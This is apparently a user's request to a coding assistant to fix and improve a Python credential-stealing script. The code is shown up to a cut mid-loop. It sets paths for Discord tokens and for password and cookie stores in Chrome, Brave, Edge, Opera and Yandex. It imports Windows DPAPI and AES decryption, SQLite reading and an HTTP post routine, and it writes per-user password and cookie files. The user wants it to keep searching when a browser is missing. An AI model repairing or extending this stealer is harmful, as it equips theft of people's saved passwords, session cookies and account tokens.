Revise, fix and implement:

for some reason if it cant find one the specified browsers, it stops working and doesnt continue search for the rest. also remove all discord features and improve the code for python 3.10 

import os
import re
from base64 import b64decode
from json import loads
from shutil import copy2
from sqlite3 import connect

import win32crypt
from Crypto.Cipher import AES
from requests import post

local = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')

# Token Patches
tokenPaths = {
    'Discord': f"{roaming}\\Discord",
    'Discord Canary': f"{roaming}\\discordcanary",
    'Discord PTB': f"{roaming}\\discordptb",
    'Google Chrome': f"{local}\\Google\\Chrome\\User Data\\Default",
    'Opera': f"{roaming}\\Opera Software\\Opera Stable",
    'Brave': f"{local}\\BraveSoftware\\Brave-Browser\\User Data\\Default",
    'Yandex': f"{local}\\Yandex\\YandexBrowser\\User Data\\Default",
    'OperaGX': f"{roaming}\\Opera Software\\Opera GX Stable"
}
# Passowrds Patches
browser_loc = {
    "Chrome": f"{local}\\Google\\Chrome",
    "Brave": f"{local}\\BraveSoftware\\Brave-Browser",
    "Edge": f"{local}\\Microsoft\\Edge",
    "Opera": f"{roaming}\\Opera Software\\Opera Stable",
    "OperaGX": f"{roaming}\\Opera Software\\Opera GX Stable",
}

fileCookies = "Cookies_" + os.getlogin() + ".txt"
filePass = "Passwords_" + os.getlogin() + ".txt"
fileInfo = "info_" + os.getlogin() + ".txt"

# Profile from Chrome
for i in os.listdir(browser_loc['Chrome'] + "\\User Data"):
    if i.startswith("Profile ")